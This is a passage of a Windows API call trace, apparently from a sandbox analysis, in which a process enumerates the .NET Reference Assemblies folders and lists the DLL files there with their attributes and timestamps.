	[0055.447] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2040b690, ftCreationTime.dwHighDateTime=0x1d4bced, ftLastAccessTime.dwLowDateTime=0x66988b30, ftLastAccessTime.dwHighDateTime=0x1d4c14e, ftLastWriteTime.dwLowDateTime=0x66988b30, ftLastWriteTime.dwHighDateTime=0x1d4c14e, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="railroad.exe", cAlternateFileName="")) returned 1
	[0055.447] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.447] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.447] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x1280de58 | out: lpFileInformation=0x1280de58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.447] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.447] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x1241597c | out: lpFindFileData=0x1241597c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.447] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.447] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1
	[0055.447] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.448] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.448] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework"), fInfoLevelId=0x0, lpFileInformation=0x1280df48 | out: lpFileInformation=0x1280df48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.448] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.448] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x12415918 | out: lpFindFileData=0x12415918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.448] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.448] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1
	[0055.449] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0055.449] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.449] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.449] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0"), fInfoLevelId=0x0, lpFileInformation=0x123ec058 | out: lpFileInformation=0x123ec058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.449] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.449] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.450] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.450] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5f4b44, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa5f4b44, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaaa915ec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1
	[0055.450] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1db959, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab1db959, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab4fb63f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x406000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1
	[0055.450] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4de43cb, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x4de43cb, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x79b03bbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 1
	[0055.450] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff96fd, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x4ff96fd, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x79e95cbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 1
	[0055.450] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaaa915ec, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaaa915ec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab0aae57, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x509000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 1
	[0055.450] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9dec0f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9dec0f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa0e5c7a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 1
	[0055.450] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653fb0e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x653fb0e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7a4fb7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa10bdda, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa10bdda, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa262a3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46093ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46093ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.dll", cAlternateFileName="")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a94654c, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x1a94654c, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x5c12c05c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Log.dll", cAlternateFileName="")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab0aae57, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab0aae57, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab1db959, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45bd12a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb45bd12a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb45e328a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xed000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.dll", cAlternateFileName="")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4524ba9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4524ba9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4596fca, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.dll", cAlternateFileName="")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1158c, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x6f1158c, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7ac6bc9c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Speech.dll", cAlternateFileName="")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44b2788, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44b2788, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44d88e8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x117000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Activities.dll", cAlternateFileName="")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44664c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44664c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44b2788, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.dll", cAlternateFileName="")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44d88e8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44d88e8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44d88e8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x84000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Runtime.dll", cAlternateFileName="")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7231257, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x7231257, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7ae0ebbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClient.dll", cAlternateFileName="")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752adc3, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x752adc3, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b23923c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.dll", cAlternateFileName="")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778c3b3, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x778c3b3, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b532dbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationProvider.dll", cAlternateFileName="")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a39c61, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x7a39c61, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b5a51dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationTypes.dll", cAlternateFileName="")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa262a3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa262a3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa49dee1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x132000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsBase.dll", cAlternateFileName="")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c58b5, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x80c58b5, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b91117c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsFormsIntegration.dll", cAlternateFileName="")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 1
	[0055.451] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.451] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
